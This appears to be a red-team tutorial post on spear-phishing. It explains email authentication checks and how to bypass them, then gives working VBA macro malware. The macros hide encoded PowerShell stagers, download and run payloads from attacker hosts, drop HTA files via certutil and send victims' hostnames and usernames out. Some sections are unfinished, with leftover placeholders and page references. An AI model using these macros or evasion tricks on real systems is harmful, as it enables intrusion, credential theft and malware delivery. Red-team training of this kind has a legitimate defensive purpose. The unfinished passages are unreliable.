Advanced Phishing Tactics

17 Aug 2021, 2:57 p.m.
36:08 minutes

This is the article summary at the top

    Emails are one of the few technologies that almost everyone, technical or non-technical, is familiar with. Even the most security-aware organisations, whose network and endpoint security is robust, are usually fairly relaxed about email. There is no doubt that phishing remains the top threat vector for cyber attacks. Attacking the human factor continues to be the most attractive and successful path for gaining an initial foothold. For this reason, cybercriminals, as well as nation-state actors, utilise phishing attacks.

    Recently, there has been a rapid and dramatic shift from board spam attacks to spear-phishing attacks, which can cause significant financial brand and operational damage.

    • 32% of confirmed data breaches involved phishing
    • 62% of businesses experienced phishing, and social engineering attacks in 2019
    • 65% of APT groups use spear-phishing as the primary infection vector
    • 56% of IT decision-makers believe phishing attacks are their top security threat

    Sophisticated attackers use spear-phishing emails as their tool of choice, because spear-phishing attacks open the door for further infiltration into any network accessible by the victim. Those targeted attacks usually contain various offensive techniques, such as ransomware, sender impersonation, credential, phishing and typosquatting. Spear-phishing has been associated with the most significant cyberattacks in recent history, including widely publicised attacks on companies, such as JP Morgan Chase and Co. E-Bay, Target, Anthem, Sony and various departments within the US government.

    When delivering an adversary simulation test, it is of great importance to have the ability to execute advanced social engineering attacks. Social engineering attacks are proven to be highly effective and can be pretty stealthy if executed correctly. Since this tutorial will present the red team approach, massive phishing campaigns are out of the equation. In this tutorial, we will focus on advanced spear-phishing attacks and customised client-side attack vectors.

    There is a common misconception about phishing; this misconception alludes that phishing is relatively easy to implement and does not require much preparation. In fact, several standards exist to reinforce secure email delivery and prevent message spoofing. Fortunately for a penetration tester, these standards pose an obstacle that can be bypassed with appropriate preparation. The first weakness is that these protective standards are not evenly implemented across all networks and, with a bit of knowledge of the specifics, we can avoid triggering countermeasures.

    Sender Policy Framework

    When we connect to a mail server and send the MAIL FROM command, we claim the message is from the address we provide, and SMTP does not have a way to verify this claim.

    Sender Policy Framework, or SPF, is a standard to verify this claim. To take advantage of SPF, the owner of a domain publishes a list of authorised sending hosts in the domain name system (DNS) records for that domain. These SPF records are in the form of a specially formatted TXT record.

    When SPF is configured and we are trying to relay a message through the mail server, the mail server will check the SPF record on the domain. If an SPF record exists and our IP address is not listed in the record, there is a good chance that the mail server will reject our message. It is important to note that SPF does not verify the message headers. For SPF to operate as intended, both the following actions need to be implemented.

    • The mail server that receives a message must verify the SPF record.
    • The domain owner must create an SPF record.

    To look up the SPF record for the domain, we can use the “dig” command.

    dig +short TXT domain
    

    Below is an example of a query against microsoft.com.

    dig +short TXT microsoft.com
    
    "docusign=d5a3737c-c23c-4bd0-9095-d2ff621f2840"
    "v=spf1 include:_spf-a.microsoft.com include:_spf-b.microsoft.com include:_spf-c.microsoft.com include:_spf-ssg-a.microsoft.com include:spf-a.hotmail.com include:_spf1-meo.microsoft.com -all"
    "google-site-verification=Zv1IvEEZg4N9wbEXpBSSyAiIjDyyB3S-fzfFClb7D1E"
    "adobe-sign-verification=c1fea9b4cdd4df0d5778517f29e0934"
    "docusign=52998482-393d-46f7-95d4-15ac6509bfdd"
    "google-site-verification=8-zFCaUXhhPcvN29EVw2RvtASDCaDPQ02L1HJ8Om8I0"
    "adobe-idp-site-verification=8aa35c528af5d72beb19b1bd3ed9b86d87ea7f24b2ba3c99ffcd00c27e9d809c"
    "d365mktkey=4d8bnycx40fy3581petta4gsf"
    "8RPDXjBzBS9tu7Pbysu7qCACrwXPoDV8ZtLfthTnC4y9VJFLd84it5sQlEITgSLJ4KOIA8pBZxmyvPujuUvhOg=="
    "google-site-verification=1TeK8q0OziFl4T1tF-QR65JkzHZ1rcdgNccDFp78iTk"
    "d365mktkey=3uc1cf82cpv750lzk70v9bvf2"
    "facebook-domain-verification=fwzwhbbzwmg5fzgotc2go51olc3566"
    "apple-domain-verification=0gMeaYyYy6GLViGo"
    "google-site-verification=pjPOauSPcrfXOZS9jnPPa5axowcHGCDAl1_86dCqFpk"
    "fg2t0gov9424p2tdcuo94goe9j"
    

    DKIM

    SPF is not capable of verifying message content. DKIM is the standard to verify message content.

    DKIM stands for DomainKeys Identified Mail; a mail server utilises this mechanism to sign a message and its contents so others can confirm that it originated from that server. The message signing process is carried out using a DKIM-signature header.

    The verification process starts with a server querying the domain Public Key through DNS to identify if the message originated from that domain (or not).

    For DKIM to operate as intended, cooperation between the domain owner and a mail provider must occur so that a message lacking the domain-specific DKIM-signature header is marked as something suspicious.

    Insert example of DKIM lookup using dig.

    The lack of a DKIM header does not mean a message is valid or invalid, and this is why DKIM requires tight cooperation between all email receivers and senders to be effective; by no means is this a manageable solution. This situation is where DMARC comes in.

    DMARC

    DMARC, or Domain-based Message Authentication Reporting and Conformance, is a standard that enables a domain owner to announce a domain is protected under either DKIM, SPF or both, and advises other mail servers about the actions to take in case a message fails a check. If the email fails the check, depending on the instructions held within the DMARC record, the email could be delivered, quarantined or rejected.

    To check a domain for uses DMARC, use the “dig” command to look up a TXT record for _dmarc.domain.com.

    DMARC will be effective only if the message receiving server checks for the record and acts upon it. The same applies to SPF and DKIM. Users are left exposed to spoofing attacks if a mail server does not actively look for and act on these countermeasures.

    Accepted Domains

    Without DMARC, SPF and DKIM, verifying whether a mail is a spoofing attempt is not easy. If an organisation has a crystal clear understanding of the domain owners, another protection mechanism can prevent the spoofing of a local user. This mechanism is the Accepted Domains Feature in Microsoft Exchange.

    Spam Traps

    The following is a list of factors and email components that are considered while evaluating email received.

    • Domains age
    • Links pointing to an IP address
    • Link manipulation techniques
    • Suspicious and uncommon attachments
    • Broken email content
    • Values used that are different to those on the mail headers
    • Existence of a valid and trusted SSL certificate
    • Submission of the page to a web content filtering site

    Circumventing Defences

    In summary, when planning to spoof a message from a domain, it would be prudent to check if the domain has an SPF, DKIM or DMARC record.

    Send a message to a non-existing user and analyse the non-delivery notice message headers for critical information. If spoofing is not an option, try the legitimate approach; register a domain that suits the social engineering campaign context and correctly set SPF, DKIM and DMARC records.

    Macros Containing Documents

    Visual Basic for Applications code can be embedded within Microsoft Office files to automate processes and access Windows APIs, allowing access to low-level functionality from inside those files. This Microsoft feature got abused by computer viruses in the late 1990s; mainly due to its powerful functionality and the fact that Office file macros were automatically executed by default. As of MS Office 2003, this behaviour was altered. Macros were no longer executed automatically when an office file was loaded, and a GUI prompt would pop up informing users of a macro presence inside the file. MS Office 2007 pushed macro security further; macros could not be embedded within the default MS Word document file. This effort was facilitated by the Open Office XML standard, based on which Microsoft introduced four distinct formats.

    The following Microsoft Word formats were introduced:

    • DOCX - Compressed Document - Macros Not Permitted
    • DOTX - Compressed Template - Macros Not Permitted
    • DOCM - Compressed Document - Macros Permitted
    • DOTM - Compressed Template - Macros Permitted

    Microsoft Windows uses the file extension to determine the software that will handle the opening of a file once it is clicked. When Microsoft Office is installed, the above extensions are associated with it. Subsequently, all of the above file types will be handled by Microsoft Word. Microsoft Word performs file data validation before opening the file against the Office Open XML standard. The validation is performed by an MS office DLL (filename WWLIB.DLL). The filename extension plays no role in this data validation process. If any error is identified during the data structure validation of the analysed file, it will not be opened.

    It should be noted that DOCM files containing macros can be renamed as other file formats by changing the file extension and still keep their macro executing capabilities. For example, an RTF file does not support macros by design; but a DOCM file renamed to RTF will be handled by Microsoft Word and be capable of macro execution. The same internals or mechanisms apply to all software of the Microsoft Office Suite, namely Excel, Word and Powerpoint. The following commands will show what files are associated with Office programs and find extensions capable of executing macros.

    assoc | findstr /i "word"
    assoc | findstr /i "excel"still
    assoc | findstr /i "powerp"
    

    There is an exception regarding the macro fundamentals we have covered, a remote template in the DOCX Files.

    DOCX files, referencing a template that includes macros, can execute macros as well. We can reference our remote template by executing the following steps.

    File options -> Add-ins -> Manage: Templates Go. 
    

    Attack vector development

    Although we want to showcase the red team perspective in this tutorial, where the on-disk footprint should be kept to a minimum to be thorough, we will also cover techniques where our malware touches the disk. As far as attack vectors are concerned, we will follow the custom-made and multi-stage approach. This approach will decrease the chances of a defence mechanism identifying us and make the analyst work harder.

    In the coming sections, we will develop our own custom attack vectors for use in advanced social engineering engagements. Specifically, the following techniques will be covered.

    • Custom macro development
    • Custom actions
    • OLE objects
    • Chaining Excel DDE with MS16-035
    • Uncommon extensions in social engineering
    • Custom job script backdoor development
    • Custom beaconing malware development
    • Custom click once application development

    It should be noted that the majority of these covered payloads will be picked up by AV or EDR solutions due to the constantly updated signature databases these solutions utilise. That being said, with proper obfuscation and customisation, a payload can be created to bypass these organisation defences.

    In the context of this tutorial, we will focus on development aspects only. More advanced payloads will be covered later on in the series.

    Custom macro development.

    Macro Leverage File Properties

    We will now look at a Macro leveraging one of the document file properties to hide a payload while using “standard in” to avoid logging.

    The following macro malware hides its PowerShell command resides in the author property. This macro malware also hides the PowerShell command arguments from command line logging via invocation with StdIn.WriteLine.

    PowerShell is launched with multiple command-line arguments to create as quiet execution as possible. For example, -ExecutionPolicy Bypass means no window and no loading of local profiles.

    It should be noted that some AV Solutions pick up AutoOpen, and therefore more creative ways should be employed for macro execution, such as triggering the macro from a button. Every time a modification is performed, either in the macro or the file content, followed by the subsequent saving of the document, the “Author” property will be deleted. Consequently, the PowerShell command will need to be entered again, achieved with a right-click on the file and entering the PowerShell command in the “Author” property again.

    Another widely used technique by macro malware authors is to hide the payload on custom Excel forms or even inside the working spreadsheet in a coded form, as we will see later in this tutorial. The PowerShell command that this macro malware will execute may get picked up by Microsoft, Anti-Malware Scan Interface (AMSI) within Windows 10 environments. In the following parts of this tutorial, we will see ways to bypass AMSI.

    Lastly, it should be observed that the variable “c” is not used anywhere in the macro, and including some unused code is a simple obfuscation tactic.

    Public Sub PrintDocumentProperties()
        Dim oApp As New Excel.Application
        Dim oWB As Workbook
        Set oWB = ActiveWorkbook
    
        Dim Exec As String
    
        #If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
    #Else
    Dim rwxpage As Long, res As Long
    #End If
    
        Dim author As String
        author = oWB.BuiltinDocumentProperties("Author")
    
        Set objWshell = VBA.CreateObject("WScript.Shell")
    
    Dim c As String
    Const quote As String = """"
    
    c = "WwBTAHkAUwB0AGUAbQAuAE4AZQBUAC4AUwBlAHIAdgBpAEMAZQBQAE8ASQBOAHQATQBhAE4AYQBnAEUAUgBdADoAOgBFAFgAcABlAEMAVAAxADAAMABDAG8AbgB0AGkATgBVAEUAIAA9ACAAMAA7ACQAVwBjAD0ATgBlAFcALQBPAEIASgBFAGMAVAAgAFMAWQBTAHQAZQBNAC4ATgBlAFQALgBXAGUAYgBDAEwAaQBlAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQwAuAEgARQBhAEQAZQByAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQAgAD0AIABbAFMAeQBTAFQARQBNAC4ATgBlAHQALgBXAEUAQgBSAEUAcQB1AEUAcwB0AF0AOgA6AEQARQBGAEEAVQBMAFQAVwBFAEIAUABSAE8AWAB5ADsAJABXAEMALgBQAFIATwBYAFkALgBDAFIARQBEAGUATgBUAEkAQQBsAHMAI"
    c = c + "AA9ACAAWwBTAFkAcwBUAGUAbQAuAE4ARQB0AC4AQwByAEUAZABFAG4AVABJAEEAbABDAEEAYwBoAEUAXQA6ADoARABlAGYAQQBVAGwAdABOAEUAdAB3AG8AUgBLAEMAcgBlAGQAZQBuAHQAaQBhAGwAUwA7ACQASwA9ACcAMwBlACoARwBrAFkATABVAFMAdgA2AGEAYgA0AE8ASwAhACUAUABpAEAAJAB0AHEAOQBcAD4AfAB+AHUAKwBSACcAOwAkAGkAPQAwADsAWwBjAGgAQQBSAFsAXQBdACQAYgA9ACgAWwBjAEgAYQByAFsAXQBdACgAJABXAGMALgBEAE8AdwBOAEwATwBBAEQAUwB0AFIAaQBOAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AYgBYAG8AcgAkAGsAWwAkAEkAKwArACUAJABLAC4ATABlAG4AZwB0AGgAXQB9ADsASQBFAFgAIAAoACQAQgAtAEoATwBJAE4AJwAnACkA"
    
    Dim objWshell1 As Object
    Set objWshell1 = CreateObject("WScript.Shell")
    With objWshell1.Exec("powershell.exe -nop -windowstyle hidden -Command -")
    .StdIn.WriteLine author
    .StdIn.WriteBlankLines 1
    .Terminate
    End With
    
    End Sub
    

    Using Active X Controls For Macro Execution

    Most malicious Word documents use the reserved names of AutoOpen() and Document_Open() to run macros automatically. These names seem to be picked up by antiviruses (AVs) frequently. The following macro malware uses a subroutine inside an ActiveX control to execute its code. More specifically, it uses an ink edit control.

    Embedding an ActiveX control in a document is straightforward once the developer tab is enabled.

    1. Open the dev tab
    2. Go to the control section of the ribbon
    3. We find an extensive list of controls under legacy tools — more options.

    When using ActiveX control for macro execution, the victim will see the following warning.

    Sub InkEdit1_GotFocus()
    Run = Shell("cmd.exe /c PowerShell (New-Object System.Net.WebClient).DownloadFile('https://trusted.domain/file.exe',‘file.exe');Start-Process ‘file.exe'", vbNormalFocus)
    End Sub
    

    Many procedures related to ActiveX control objects can automatically run a macro; some can be seen in the following tables on http://www.greyhathacker.net/?p=948.

    Sub InkEdit1_GotFocus()
    Debugging
    End Sub
    
    Public Function Debugging() As Variant
        Const HIDDEN_WINDOW = 0
        strComputer = "."
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
        objProcess.Create "powe" & "rshell.e" & "xe" & " -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager1.ps1') | iex } else {(new-object Net.WebClient).DownloadString('https://attacker.domain/stager2.ps1') | iex}"
    End Function
    

    Classic Download and Execute Macro

    We will look at the classic download and execute macro payload, but with a twist. The following macro malware leverages Windows certutil to first drop a base64-encoded HTA file and then uses certutil to decode and execute it.

    HTA files have a good record of evading defences. They can be easily obfuscated and can be used in numerous attack scenarios. In comparison, dropping an EXE file is a technique more prone to detection.

    Sub DownloadAndExec()
    
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    xHttp.Open "GET", "https://trusted.domain/encoded.crt", False
    xHttp.Send
    
    With bStrm
        .Type = 1 '//binary
        .Open
        .write xHttp.responseBody
        .savetofile "encoded.crt", 2 '//overwrite
    End With
    
    Shell ("cmd /c certutil -decode encoded.crt encoded.hta & start encoded.hta")
    
    End Sub
    

    Metasploit, PowerShell Empire, SET, Unicorn and numerous other frameworks provide the capability of exporting their stages in the form of HTA files, or it is possible to develop a custom HTA file.

    Macro Malware with OS Appropriate Payload

    We will now look at a macro malware that retrieves the operating system distribution and executes the appropriate payload. The following macro malware is context-aware since it identifies the operating system in which it runs and understands whether it is running on a Windows or Mac OSX environment, after which it executes the appropriate payload to compromise its target. In addition, it retrieves both the victims’ hostname and username; then base64 encodes them and sends them back to the remote server.

    'get OS, if nt else if OS X
    Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
    
    ' A Base64 Encoder/Decoder.
    '
    ' This module is used to encode and decode data in Base64 format as described in RFC 1521.
    '
    ' Home page: www.source-code.biz.
    ' License: GNU/LGPL (www.gnu.org/licenses/lgpl.html).
    ' Copyright 2007: Christian d'Heureuse, Inventec Informatik AG, Switzerland.
    ' This module is provided "as is" without warranty of any kind.
    
    Option Explicit
    
    Private InitDone  As Boolean
    Private Map1(0 To 63)  As Byte
    Private Map2(0 To 127) As Byte
    
    ' Encodes a string into Base64 format.
    ' No blanks or line breaks are inserted.
    ' Parameters:
    '   S         a String to be encoded.
    ' Returns:    a String with the Base64 encoded data.
    Public Function Base64EncodeString(ByVal s As String) As String
       Base64EncodeString = Base64Encode(ConvertStringToBytes(s))
       End Function
    
    ' Encodes a byte array into Base64 format.
    ' No blanks or line breaks are inserted.
    ' Parameters:
    '   InData    an array containing the data bytes to be encoded.
    ' Returns:    a string with the Base64 encoded data.
    Public Function Base64Encode(InData() As Byte)
       Base64Encode = Base64Encode2(InData, UBound(InData) - LBound(InData) + 1)
       End Function
    
    ' Encodes a byte array into Base64 format.
    ' No blanks or line breaks are inserted.
    ' Parameters:
    '   InData    an array containing the data bytes to be encoded.
    '   InLen     number of bytes to process in InData.
    ' Returns:    a string with the Base64 encoded data.
    Public Function Base64Encode2(InData() As Byte, ByVal InLen As Long) As String
       If Not InitDone Then Init
       If InLen = 0 Then Base64Encode2 = "": Exit Function
       Dim ODataLen As Long: ODataLen = (InLen * 4 + 2) \ 3     ' output length without padding
       Dim OLen As Long: OLen = ((InLen + 2) \ 3) * 4           ' output length including padding
       Dim Out() As Byte
       ReDim Out(0 To OLen - 1) As Byte
       Dim ip0 As Long: ip0 = LBound(InData)
       Dim ip As Long
       Dim op As Long
       Do While ip < InLen
          Dim i0 As Byte: i0 = InData(ip0 + ip): ip = ip + 1
          Dim i1 As Byte: If ip < InLen Then i1 = InData(ip0 + ip): ip = ip + 1 Else i1 = 0
          Dim i2 As Byte: If ip < InLen Then i2 = InData(ip0 + ip): ip = ip + 1 Else i2 = 0
          Dim o0 As Byte: o0 = i0 \ 4
          Dim o1 As Byte: o1 = ((i0 And 3) * &H10) Or (i1 \ &H10)
          Dim o2 As Byte: o2 = ((i1 And &HF) * 4) Or (i2 \ &H40)
          Dim o3 As Byte: o3 = i2 And &H3F
          Out(op) = Map1(o0): op = op + 1
          Out(op) = Map1(o1): op = op + 1
          Out(op) = IIf(op < ODataLen, Map1(o2), Asc("=")): op = op + 1
          Out(op) = IIf(op < ODataLen, Map1(o3), Asc("=")): op = op + 1
          Loop
       Base64Encode2 = ConvertBytesToString(Out)
       End Function
    
    ' Decodes a string from Base64 format.
    ' Parameters:
    '    s        a Base64 String to be decoded.
    ' Returns     a String containing the decoded data.
    Public Function Base64DecodeString(ByVal s As String) As String
       If s = "" Then Base64DecodeString = "": Exit Function
       Base64DecodeString = ConvertBytesToString(Base64Decode(s))
       End Function
    
    ' Decodes a byte array from Base64 format.
    ' Parameters
    '   s         a Base64 String to be decoded.
    ' Returns:    an array containing the decoded data bytes.
    Public Function Base64Decode(ByVal s As String) As Byte()
       If Not InitDone Then Init
       Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
       Dim ILen As Long: ILen = UBound(IBuf) + 1
       If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "Length of Base64 encoded input string is not a multiple of 4."
       Do While ILen > 0
          If IBuf(ILen - 1) <> Asc("=") Then Exit Do
          ILen = ILen - 1
          Loop
       Dim OLen As Long: OLen = (ILen * 3) \ 4
       Dim Out() As Byte
       ReDim Out(0 To OLen - 1) As Byte
       Dim ip As Long
       Dim op As Long
       Do While ip < ILen
          Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
          Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
          Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
          Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
          If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
             Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
          Dim b0 As Byte: b0 = Map2(i0)
          Dim b1 As Byte: b1 = Map2(i1)
          Dim b2 As Byte: b2 = Map2(i2)
          Dim b3 As Byte: b3 = Map2(i3)
          If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
             Err.Raise vbObjectError, , "Illegal character in Base64 encoded data."
          Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
          Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
          Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
          Out(op) = o0: op = op + 1
          If op < OLen Then Out(op) = o1: op = op + 1
          If op < OLen Then Out(op) = o2: op = op + 1
          Loop
       Base64Decode = Out
       End Function
    
    Private Sub Init()
       Dim C As Integer, i As Integer
       ' set Map1
       i = 0
       For C = Asc("A") To Asc("Z"): Map1(i) = C: i = i + 1: Next
       For C = Asc("a") To Asc("z"): Map1(i) = C: i = i + 1: Next
       For C = Asc("0") To Asc("9"): Map1(i) = C: i = i + 1: Next
       Map1(i) = Asc("+"): i = i + 1
       Map1(i) = Asc("/"): i = i + 1
       ' set Map2
       For i = 0 To 127: Map2(i) = 255: Next
       For i = 0 To 63: Map2(Map1(i)) = i: Next
       InitDone = True
       End Sub
    
    Private Function ConvertStringToBytes(ByVal s As String) As Byte()
       Dim b1() As Byte: b1 = s
       Dim l As Long: l = (UBound(b1) + 1) \ 2
       If l = 0 Then ConvertStringToBytes = b1: Exit Function
       Dim b2() As Byte
       ReDim b2(0 To l - 1) As Byte
       Dim p As Long
       For p = 0 To l - 1
          Dim C As Long: C = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
          If C >= 256 Then C = Asc("?")
          b2(p) = C
          Next
       ConvertStringToBytes = b2
       End Function
    
    Private Function ConvertBytesToString(b() As Byte) As String
       Dim l As Long: l = UBound(b) - LBound(b) + 1
       Dim b2() As Byte
       ReDim b2(0 To (2 * l) - 1) As Byte
       Dim p0 As Long: p0 = LBound(b)
       Dim p As Long
       For p = 0 To l - 1: b2(2 * p) = b(p0 + p): Next
       Dim s As String: s = b2
       ConvertBytesToString = s
       End Function
    Function GetHTTPResult(sURL As String) As String
            Dim XMLHTTP As Variant, sResult As String
    
            Set XMLHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
            XMLHTTP.Open "GET", sURL, False
            XMLHTTP.Send
            Debug.Print "Status: " & XMLHTTP.Status & " - " & XMLHTTP.StatusText
            sResult = XMLHTTP.ResponseText
            Debug.Print "Length of response: " & Len(sResult)
            Set XMLHTTP = Nothing
            GetHTTPResult = sResult
        End Function
    
    
    
    Private Sub Workbook_Open()
    
    Dim result As String
    Dim position As Integer
    Dim hostname As String
    Dim username As String
    Dim etc_host As String
    Dim text As String
    Dim aLine As String
    Dim aURL As String
    Dim uResult As String
    Dim encoded As String
    Dim FileNum As Integer
    Dim aFile As String
    Dim command As String
    Dim exec_string As String
    
    
    result = Application.OperatingSystem
    position = InStr(result, "Macintosh")
    
    If position = 0 Then
        ' Using windows'
        'MsgBox "Microsoft Excel is using Windows " & position
        hostname = Environ$("computername")
        username = Environ$("username")
        'MsgBox "test: " & hostname & " " & username
        Dim sURL As String, sResult As String
        Dim oResult As Variant, oData As Variant, R As Long, C As Long
    
        text = hostname & " " & username
        encoded = Base64EncodeString(text)
        sURL = "http://XX.XX.XX.XX:80/" & encoded
        'MsgBox "URL: " & sURL
        sResult = GetHTTPResult(sURL)
        sResult = GetHTTPResult("http://attacker.domain/payload_windows")
        'Debug.Print sResult
        command = "powershell.exe -NoP -sta -NonI -W Hidden -Enc " & sResult
        'Debug.Print command
        result = Shell(command)
    
    Else
        aURL = "http://attacker.domain/"
        result = system("/usr/bin/python -c 'import socket,os,base64,urllib2;urllib2.urlopen(" & Chr(34) & aURL & Chr(34) & " + base64.b64encode(socket.gethostname() + " & Chr(34) & " " & Chr(34) & " + os.environ[" & Chr(34) & "USER" & Chr(34) & "]))'")
        Debug.Print result
        result = system("/usr/bin/python -c 'import socket,os,base64,urllib2;exec(urllib2.urlopen(" & Chr(34) & "http://attacker.domain/payload_osx" & Chr(34) & ").read())' &")
    
    End If
    
    
    End Sub
    

    It is possible to create an OSX-specific payload for use in a macro-based attack with project Empire. It should be noted that Office 2016 on OSX does properly sandbox execution of Office 2016 documents, but there are still interesting things that can be done when our agent(s) callback.

    RTF, Signed Binary plus DLL Hijacking with a Custom MSF

    The following macro malware combines RTF’s default behaviour of dropping embedded OLE objects into the TEMP directory with a DLL hijacking vulnerability of a trusted (and signed) executable (Kaspersky’s kavremover.exe), and a custom made Meterpreter loader.

    As mentioned, RTF files containing embedded OLE objects showcase interesting behaviour. Once they are open, they automatically drop the embedded OLE objects into the temp directory. If we can find a trusted and signed binary vulnerable to DLL hijacking, we can embed both the trusted binary and the DLL. In an RTF file. Once the RTF file is opened, both the DLL and the Signed Binary will be dropped into the temp directory. DLL hijacking requires that the malicious DLL, which is going to hijack the loading of the legitimate one, should be in the same directory as the executable having a DLL hijacking vulnerability. We can automate this procedure from inside a macro, launch the vulnerable executable, and trigger the DLL hijacking vulnerability. We mentioned earlier that RTF files do not support macros; we will address this momentarily.

    It should be noted that since the on-disk footprint of this attack is quite large, we should make sure that our malicious DLL will be able to evade defences. It is recommended that for this attack, a custom Meterpreter loader is created. The trusted and signed executable we will use in the following example is an older version of Kaspersky’s kavremover.exe, which is vulnerable to DLL hijacking. Let us see how we can chain this into a single macro attack.

    Let us start with our custom Meterpreter loader. We will modify Rafael Mudge’s Metasploit Loader so that it can hijack the kavremover.exe legitimate DLL and provide us with a Meterpreter shell. Following the procedure described in the below blogs, we can identify that we need to change the function main.

    • https://github.com/rsmudge/metasploit-loader/blob/master/src/main.c
    • https://astr0baby.wordpress.com/2014/02/12/custom-meterpreter-loader-dll/
    • https://astr0baby.wordpress.com/2014/02/13/customising-meterpreter-loader-dll-part-2/

    Since RTF files do not support macros, let us see how we can automate the whole attack from a macro supporting file.

    Embedding an Executable in a Macro

    The following macro malware contains an executable inside its code in the form of hex dump strings. The embedded executable will be reassembled, dropped into a temporary directory, and executed from this location. The same could be performed with a DLL file in case executables are blocked. There are numerous ways to embed an executable and or DLL inside an Office file. The easiest way is using Didier Stevens’ file2vbscript python script. Once again, the on-disk footprint of this attack is large, so we have to make sure our malicious executable or DLL is capable of evading defences. To accomplish this, we can use the custom MSF loader from the previous example, or the PowerShell base beaconing malware which we will cover later on in this tutorial.

    The example is shown on page 81 case.

    Network-tracing macro

    This macro malware performs network sniffing by leveraging PowerShell’s network tracing capabilities. Specifically, it drops and executes a hardcoded PS1 script that does all the heavy lifting. Macros such as this can prove handy for reconnaissance activities.

    • https://gist.github.com/anonymous/a3ebd8928135ae29fc341c6036bc7eac

    The example is shown on page 83

    The APT perspective: Multi-stage macro malware using DNS for payload retrieval and exfiltration

    We will analyse the tactics, techniques and procedures of a macro malware that an APT group used. The macro malware had embedded encoded malicious scripts, dropped various files on its host, performed enumeration activities and used DNS for payload retrieval and exfiltration purposes.

    This case study will showcase how various techniques can be combined to evade defences and remain stealthy. A similar source code to the one we will analyse can be found in the link below.

    • https://gist.github.com/anonymous/d0da355e5c21a122866808d37234cd5d

    The example is shown on page 85.

    Inside the macro is code that displays additional spreadsheet data when the user enables macros. This technique is interesting and helps eliminate suspicion. During the attack, the APT group dropped a custom version of Mimikatz and a batch file with commands to obtain critical system information, such as the hostname, user and group accounts, local domain administrator accounts, and so forth.

    To better understand the DNS query structure used by the malware, refer to the following table.

    The example is shown on page 91.

    Two excellent resources on using DNS through PowerShell are:

    • http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html
    • http://0entropy.blogspot.com/2012/04/powershell-metasploit-meterpreter-and.html

    page 92

    The forbidden fruit: Macro malware performing shellcode injection

    Numerous techniques can be used inside a macro to perform direct shellcode injection since VBA can directly interact with Windows APIs.

    Macro based shellcode injection

    Even though the above is quite a stealthy technique in payload delivery, it would not be recommended since it cannot easily be obfuscated, and a security solution will pick it up at the time of the injection into the Microsoft Office software targeted.

    Evasion techniques to avoid getting caught by the security solutions exist like the one presented in the link below, but the amount of extra noise produced is significant.

    example page 94 case

    Macros on PowerPoint,

    The equivalent of automatically run macros on PowerPoint is PowerPoint’s Custom Actions. Malware authors seem to be using PowerPoint and Custom Actions lately instead of Microsoft Word and Excel files with macros.

    For example, if we would like to trigger a VisualBasic module inside a PowerPoint handled file using Custom Actions, we would do the following once the developer tab is enabled.

    1. File -> Options -> Customise Ribbon.
    2. Go to the developer, and click Visual Basic, then click Insert and choose module. This module is where we will place malicious code to create a trigger mechanism.
    3. Go to Insert, click the item to be associated with the action and click on Action, then you can choose either the Mouse Click or Mouse Over tabs, and then click on Run macro to associate the module you have inserted earlier with the action.

    To automatically execute the Visual Basic module inserted without using Custom Actions, we will add an office 2007 custom UI part. The procedure is as follows.

    1. Insert the desired module and save the PowerPoint presentation as a macro-supporting PowerPoint file type.
    2. Unzip the PowerPoint file just saved
    3. Edit the _rels/.rels file to add the following line right before the last </Relationships>.
    <Relationship Type=http://schemas.microsoft.com/office/2006/relationships/ui/extensibility Target="/customUI/customUI.xml" Id="Rd6e72c29d34a427e" /> 
    
    1. Create a new directory on the same level as the _rels directory called “customUI”.

    Inside the “customUI” directory, create a customUI.xml file containing the following.

    <customUI xmlns=http://schemas.microsoft.com/office/2006/01/customui onLoad="Name of VBA module" ></customUI>
    
    1. Zip the whole directory and rename it to the filename used to save the original PowerPoint presentation.

    Now the VBA module will automatically run as soon as the user enables macros.

    Finally, a similar technique exists that can prove handy in restricted environments where macros are disabled globally. This technique uses only objects and custom animation. Evading AV is a crucial part of macro base attacks; it is recommended that manual or automated VBA obfuscation techniques are performed before the attack. For an automated tool performing VBA obfuscation, please refer to the link.

    • https://github.com/Pepitoh/Vbad

